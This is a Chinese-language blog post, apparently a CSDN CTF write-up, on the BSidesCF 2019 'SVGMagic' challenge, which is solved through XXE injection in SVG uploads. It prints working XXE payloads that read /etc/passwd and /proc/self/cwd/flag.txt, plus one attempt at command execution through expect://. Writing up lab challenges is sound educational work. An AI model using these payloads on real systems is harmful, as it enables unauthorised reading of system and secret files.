[BSidesCF 2019]SVGMagic XXE的SVG注入

进入题目可以看到叫我们利用魔法将SVG转为PNG,查资料了解一下SVG是个啥东西 XML的SVG知识总结_叨唠的博客-CSDN博客_svg xml

是一个图片,既然是XML里面的图片标签,那么则可以往XXE注入里面想想,但是SVG不知道怎么构造浅谈SVG的两个黑魔法 - 知乎 

我们可以利用text标签来显现文字,将文字改为引用我们的恶意代码即可 

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
  <!ENTITY www SYSTEM "file:///etc/passwd">
 ]>
<svg width="100" height="100">
   <text x="20" y="20">&www;</text>
</svg>

后缀改为svg上传

 发现我们的宽度似乎不够,没输出完,改个10000瞅瞅

注入成功,现在我们只需要改注入代码即可

-----已搬运-------Linux的/proc/self/学习 ++ CTF例题_Zero_Adam的博客-CSDN博客_proc/self

利用cwd命令来获取当前状态下的目录文件

 

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
  <!ENTITY www SYSTEM "file:///proc/self/cwd">
 ]>
<svg width="1000" height="100">
   <text x="20" y="20">&www;</text>
</svg>

构造如下想查看当前目录下有哪些文件,我这里犯了一个错,file协议只能访问文件 

起初不知道,一直读取读取然后一直报错报错…… 要获取目录下文件要用ls命令

 于是我想着执行系统命令1-Web安全——XXE-XML外部实体注入_songly_的博客-CSDN博客_利用xml外部实体可以对内网端口进行扫描

 

利用php的expect模块来执行系统命令,改一下之前的模板

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
  <!ENTITY readfile	"expect://ls">
 ]>
<svg width="1000" height="100">
   <text x="20" y="20">&readfile;</text>
</svg>

 结果

不知为啥渲染失败,想不通了,看了一下wp,清一色都是直接在cwd目录下直接读取flag.txt文件,我不知道怎么知道是这个文件的,或许是ctf题通常不会为难文件名,不是flag.php就是flag.txt吧,那我们还是用远程读取文件吧,或许以后明白为什么这里渲染失败了 

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
  <!ENTITY www SYSTEM "file:///proc/self/cwd/flag.txt">
 ]>
<svg width="1000" height="100">
   <text x="20" y="20">&www;</text>
</svg>

 

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值